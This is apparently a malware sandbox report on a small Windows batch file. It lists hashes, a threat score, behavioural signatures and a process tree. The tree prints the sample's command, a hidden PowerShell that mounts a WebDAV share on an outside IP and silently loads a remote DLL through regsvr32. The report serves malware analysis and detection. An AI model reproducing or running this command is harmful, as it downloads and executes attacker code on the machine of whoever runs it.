Analysis
-
max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
19-07-2024 07:25
Static task
static1
Behavioral task
behavioral1
Sample
2396128426286668527.bat
Resource
win7-20240705-en
windows7-x64
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
2396128426286668527.bat
Resource
win10v2004-20240709-en
windows10-2004-x64
8 signatures
150 seconds
General
-
Target
2396128426286668527.bat
-
Size
2KB
-
MD5
211ef58318128c130246aad909e2ad4b
-
SHA1
8ac25e2d4fee1eb711aa3c9d38989c4f96d8144b
-
SHA256
8de871fd622532f8825c8006c73ea949e0b5938d3cdd753551f4fcb303b45ba4
-
SHA512
163f0461e958954e30cae3fd8fa564490f5ab07b02e6a222896741314be8f43eb259d0691516ae1c57f638c81c4d2fb47cf1ccbabc6bc88efddaf2688e03d155
Score
8/10
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2764 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2764 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2764 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2672 wordpad.exe 2672 wordpad.exe 2672 wordpad.exe 2672 wordpad.exe 2672 wordpad.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 2752 wrote to memory of 2672 2752 cmd.exe 31 PID 2752 wrote to memory of 2672 2752 cmd.exe 31 PID 2752 wrote to memory of 2672 2752 cmd.exe 31 PID 2752 wrote to memory of 2764 2752 cmd.exe 32 PID 2752 wrote to memory of 2764 2752 cmd.exe 32 PID 2752 wrote to memory of 2764 2752 cmd.exe 32 PID 2764 wrote to memory of 2604 2764 powershell.exe 34 PID 2764 wrote to memory of 2604 2764 powershell.exe 34 PID 2764 wrote to memory of 2604 2764 powershell.exe 34 PID 2764 wrote to memory of 2120 2764 powershell.exe 35 PID 2764 wrote to memory of 2120 2764 powershell.exe 35 PID 2764 wrote to memory of 2120 2764 powershell.exe 35 PID 2764 wrote to memory of 2120 2764 powershell.exe 35 PID 2764 wrote to memory of 2120 2764 powershell.exe 35
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\2396128426286668527.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:2672
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\83741481910863.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:2604
-
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\83741481910863.dll3⤵PID:2120
-
-